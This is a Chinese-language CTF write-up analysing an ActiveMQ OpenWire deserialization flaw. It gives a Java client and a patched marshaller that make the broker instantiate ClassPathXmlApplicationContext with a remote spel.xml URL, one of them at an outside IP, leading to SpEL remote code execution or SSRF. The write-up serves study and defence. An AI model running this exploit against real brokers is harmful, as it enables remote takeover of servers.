n1ctf的一道web题,只开放activemq的61616端口,需要进行ssrf打内网的其他web服务

攻击ActiveMQ broker

ActiveMQ的broker开放端口61616,会接收客户端的数据并处理

先写一个demo客户端如下,发送一条ConnectionInfo命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
package exploit;

import org.apache.activemq.command.ConnectionInfo;
import org.apache.activemq.command.ConnectionId;
import org.apache.activemq.command.ExceptionResponse;
import org.apache.activemq.transport.Transport;
import org.apache.activemq.transport.TransportFactory;
import org.apache.activemq.transport.TransportListener;
import org.apache.activemq.transport.tcp.TcpTransportFactory;

import java.io.IOException;
import java.net.URI;

public class Test {
public static void main(String[] args) {
try {
// 创建 Transport
Transport transport = TransportFactory.connect(new URI("tcp://172.30.186.22:61616"));
// 添加 TransportListener
transport.setTransportListener(new TransportListener() {
@Override
public void onCommand(Object command) {
System.out.println("onCommand: " + command);
}

@Override
public void onException(IOException error) {
System.out.println("onException: " + error);
}

@Override
public void transportInterupted() {
System.out.println("transportInterupted");
}

@Override
public void transportResumed() {
System.out.println("transportResumed");
}
});
// 创建 ExceptionResponse 命令
ExceptionResponse exceptionResponse = new ExceptionResponse(new Exception("test"));

// 创建 ConnectionInfo 命令
ConnectionId connectionId = new ConnectionId("123");
ConnectionInfo connectionInfo = new ConnectionInfo();
connectionInfo.setConnectionId(connectionId);
connectionInfo.setClientId("123");
connectionInfo.setUserName("admin");
connectionInfo.setPassword("admin"); // 默认用户名/密码; 根据你的配置进行修改


// 发送 ConnectionInfo 命令
// transport.oneway(connectionInfo);

transport.start();
// 发送 ExceptionResponse 命令
// transport.oneway(exceptionResponse);
transport.oneway(connectionInfo);
// 关闭 Transport
// transport.stop();

} catch (Exception e) {
e.printStackTrace();
}
}
}

发送ConnectionInfo

首先客户端会向broker发送一条WireFormatInfo,会在transport.start();时发送,broker同样会回复一条WireFormatInfo,接着transport.oneway(connectionInfo);发送ConnectionInfo,然后Broker返回一条BrokerInfo(ConnectionInfo和BrokerInfo的先后顺序不明)

这里的传输过程涉及到对象的序列化和反序列化,如图可见

img

发送ExceptionResponse

img

服务端收到数据后会进入org.apache.activemq.openwire.OpenWireFormat#doUnmarshal中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public Object doUnmarshal(DataInput dis) throws IOException {
byte dataType = dis.readByte();
if (dataType != NULL_TYPE) {
DataStreamMarshaller dsm = dataMarshallers[dataType & 0xFF];
if (dsm == null) {
throw new IOException("Unknown data type: " + dataType);
}
Object data = dsm.createObject();
if (this.tightEncodingEnabled) {
BooleanStream bs = new BooleanStream();
bs.unmarshal(dis);
dsm.tightUnmarshal(this, data, dis, bs);
} else {
dsm.looseUnmarshal(this, data, dis);
}
return data;
} else {
return null;
}
}

根据标识符来取到dataMarshallers,这里会取到ExceptionResponseMarshaller,而这个特殊的Marshaller在反序列化时会进行危险的处理

img

进入tightUnmarsalThrowable

img

由于ExceptionResponse传过来的预期是一个Throwable对象,所以这里会进入函数createThrowable,看名字就知道是要进行对象的初始化,这里就是存在风险的地方,这里本应对远程的对象进行校验

img

进入createThrowable中,可以初始化一个对象,调用其String参数的构造函数

1
2
3
4
5
6
7
8
9
private Throwable createThrowable(String className, String message) {
try {
Class clazz = Class.forName(className, false, BaseDataStreamMarshaller.class.getClassLoader());
Constructor constructor = clazz.getConstructor(new Class[] {String.class});
return (Throwable)constructor.newInstance(new Object[] {message});
} catch (Throwable e) {
return new Throwable(className + ": " + message);
}
}

漏洞利用

这个漏洞的效果就是能调用任意对象的String参数构造函数,这里可以联想到jackson当中的打法

比如说对于new这个操作来说,一些常见的如spring当中有两个类构造函数就能加载远程配置可以rce

  • org.springframework.context.support.ClassPathXmlApplicationContext
  • org.springframework.context.support.FileSystemXmlApplicationContext

在出网的场景下,通过加载远程xml来进行spring的依赖注入,可以解析spel来进行rce

不出网的场景下,利用这两个类来发送get请求

客户端的源码会在序列化ExceptionResponse时,会对成员变量进行一些操作,要求对象为Throwable,本地修改逻辑即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
    protected void tightMarshalThrowable2(OpenWireFormat wireFormat, Throwable o, DataOutput dataOut,
BooleanStream bs) throws IOException {
if (bs.readBoolean()) {
tightMarshalString2("org.apache.xbean.spring.context.ClassPathXmlApplicationContext", dataOut, bs);
// tightMarshalString2("http://39.107.138.71:8888/spel.xml", dataOut, bs);
tightMarshalString2("http://127.0.0.1:8888/spel.xml", dataOut, bs);
// tightMarshalString2(o.getClass().getName(), dataOut, bs);
// tightMarshalString2(o.getMessage(), dataOut, bs);
// if (wireFormat.isStackTraceEnabled()) {
// StackTraceElement[] stackTrace = o.getStackTrace();
// dataOut.writeShort(stackTrace.length);
// for (int i = 0; i < stackTrace.length; i++) {
// StackTraceElement element = stackTrace[i];
// tightMarshalString2(element.getClassName(), dataOut, bs);
// tightMarshalString2(element.getMethodName(), dataOut, bs);
// tightMarshalString2(element.getFileName(), dataOut, bs);
// dataOut.writeInt(element.getLineNumber());
// }
// tightMarshalThrowable2(wireFormat, o.getCause(), dataOut, bs);
// }
}
}

漏洞修复(not yet)

可能的修复方案:

在tightUnmarsalThrowable加入对象的检验,判断是否为throwable